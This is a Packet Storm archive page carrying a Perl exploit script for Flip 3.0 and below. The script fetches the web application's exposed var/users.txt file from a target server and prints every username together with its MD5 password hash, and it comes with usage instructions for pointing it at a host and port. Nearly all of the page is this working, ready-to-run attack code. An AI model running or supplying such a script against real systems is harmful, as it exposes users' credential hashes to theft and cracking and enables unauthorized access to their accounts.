what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

flip30-pass.txt

flip30-pass.txt
Posted Sep 20, 2007
Authored by undefined1_ | Site undefl.com

Flip versions 3.0 and below remote password hash disclosure exploit.

tags | exploit, remote
SHA-256 | cff6a107f1c4d2d5467974c6b1524004521a920907c03807630e5696886a2e8a

flip30-pass.txt

Change Mirror Download
#!/usr/bin/perl

use strict;
use IO::Socket;

my $app = "Flip <= 3.0";
my $type = "Passwords Hash Disclosure";
my $author = "undefined1_";
my $vendor = "http://sourceforge.net/projects/flipsource";

banner();
my $server = shift || usage();
my $port = shift || usage();

if($server =~ /http:\/\//)
{
$server = substr($server,7);
}

my $path = "/";
if(index($server, "/") != -1)
{
$path = substr($server, index($server, "/"));
$server = substr($server, 0, index($server, "/"));
if(substr($path, length($path)-1) ne "/") {
$path .= "/";
}
}

my $data = get($server, $port, $path."var/users.txt", "");
fail() unless $data !~ /404 Not Found/;
my $index1 = index($data, "\r\n\r\n");
fail() unless $index1 >= 0;

$data = substr($data, $index1+4);
$index1 = 0;
printf ("%-20s %-32s\n", "username", "md5 hash");
while(($index1 = index($data, "\n")) >= 0)
{
my $hash = substr($data, 0, 32);
my $index2 = index($data, "][");
my $index3 = index($data, "][", $index2+2);
my $user = "";
if($index2 >= 0 && $index3 >= 0)
{
$user = substr($data, $index2+2, $index3-($index2+2));
}
printf ("%-20s %-32s\n", $user, $hash);
$data = substr($data, $index1+1);
}

###################

sub get(\$,\$,\$,\$) {
my $server = shift;
my $port = shift;
my $page = shift;
my $cookies = shift;
my $query = "GET $page HTTP/1.1\r\n";
if($port != 80)
{
$query .= "Host: $server:$port\r\n";
}
else
{
$query .= "Host: $server\r\n";
}

$query .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\r\n";
$query .= "Connection: close\r\n";
$query .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
$query .= "Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$query .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";

if(length($cookies))
{
$query .= "Cookie: ".$cookies."\r\n";
}

$query .= "\r\n";
return sendpacket($server, $port, $query);
}





sub sendpacket(\$,\$,\$) {
my $server = shift;
my $port = shift;
my $query = shift;
my $sock = IO::Socket::INET->new(Proto => "tcp",
PeerAddr => $server, PeerPort => $port)
or die "[-] Could not connect to $server:$port $!\n";
print $sock $query;
my $data = "";
my $answer;
while($answer = <$sock>)
{
$data .= $answer;
}

close($sock);
return $data;
}



###################



sub fail() {
print "[-] exploit failed\n";
exit;
}



sub banner() {
print ":: Flip <= 3.0 password hash disclosure exploit\n";
print ":: by undefined1_ @ www.undef1.com\n\n\n";
}



sub usage() {
print "usage : ./flip_pass.pl <target> <port>\n";
print "example: ./flip_pass.pl www.abcd.com/flip/ 80\n";
exit;
}


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close